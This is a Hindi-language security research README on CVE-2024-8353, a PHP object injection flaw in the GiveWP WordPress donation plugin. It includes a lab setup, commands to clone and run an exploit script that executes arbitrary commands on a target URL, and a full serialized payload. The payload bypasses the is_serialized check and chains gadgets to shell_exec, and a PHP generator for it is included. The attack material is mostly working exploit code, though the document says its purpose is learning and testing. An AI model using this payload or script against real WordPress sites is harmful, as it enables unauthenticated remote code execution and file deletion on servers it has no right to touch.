
GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट
यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध आलेख है। इस कमज़ोरी की खोज करने वाले cuokon को धन्यवाद।
CVE-2024-5932 का आगे का विश्लेषण EQST Insight R&T(PDF फ़ाइल)।
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 मनमाना फ़ाइल विलोपन और RCE PoC ★
CVE-2024-8353 : GiveWP PHP Object Injection कमज़ोरी
विवरण: givewp – वर्डप्रेस के लिए डोनेशन प्लगइन और फंडरेज़िंग प्लेटफ़ॉर्म प्लगइन, 3.16.1 तक के सभी संस्करणों में, give_title और card_address जैसे कई पैरामीटरों के माध्यम से अविश्वसनीय इनपुट के डिसेरिएलाइज़ेशन के कारण PHP ऑब्जेक्ट इंजेक्शन के प्रति असुरक्षित है। यह अप्रमाणित हमलावरों के लिए PHP ऑब्जेक्ट इंजेक्ट करना संभव बनाता है। POP चेन की अतिरिक्त उपस्थिति हमलावरों को मनमानी फ़ाइलें हटाने और रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है। यह मूल रूप से cve-2024-5932 के समान ही कमज़ोरी है, हालाँकि, यह पता चला कि user_info पर stripslashes_deep की उपस्थिति is_serialized जाँच को बायपास करने की अनुमति देती है। यह समस्या अधिकतर 3.16.1 में पैच की गई थी, लेकिन 3.16.2 में और सख्ती जोड़ी गई।
⚠️PoC का उपयोग करते समय, आप उसी कमांड का उपयोग केवल एक बार कर सकते हैं क्योंकि “give_title” DB में संग्रहीत होता है और डुप्लिकेट के लिए जाँचा जाता है। इस स्थिति में, आप कुछ Linux ट्रिक्स का उपयोग कर सकते हैं, विशेष रूप से कोट्स। उदाहरण के लिए, यदि आप “echo” का उपयोग करते हैं, तो आप इसे “e‘’cho” जैसे टाइप करके पुनः उपयोग कर सकते हैं।
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



आप PHPSTORM का उपयोग करके अपने GiveWP को डिबग कर सकते हैं।
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..और फिर आप अपने वर्डप्रेस को डिबग कर सकते हैं।


मूल रूप से, अनुक्रम CVE-2024-5932 के समान है, अंतर यह है कि “is_serialized” तर्क को “give_title” पैरामीटर में भी जोड़ा गया है। यह विधि निर्धारित करती है कि यदि इंडेक्स 1 पर :(कोलन) चिह्न नहीं है, तो डेटा सीरियलाइज़ नहीं है।

“is_serialized” विधि के बाद, “stripslashes_deep” फ़ंक्शन बैकस्लैश को हटा देता है। इसलिए, अग्रणी बैकस्लैश () हटा दिया जाता है और सीरियलाइज़्ड डेटा पास कर दिया जाता है।

\O:19:"Stripe\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\PaymentGateways\\DataTransferObjects\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\Vendors\\Faker\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\Onboarding\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (कमांड स्ट्रिंग लौटाएँ)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP चेन रिमोट कमांड निष्पादन की अनुमति देती है।

यह रिपॉजिटरी CVE-2024-8353 के लिए ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस कमज़ोरी के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।
हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया नीचे दिए गए लिंक का अनुसरण करके हमारे प्रकाशनों को देखें। https://www.skshieldus.com/eng/business/insight.do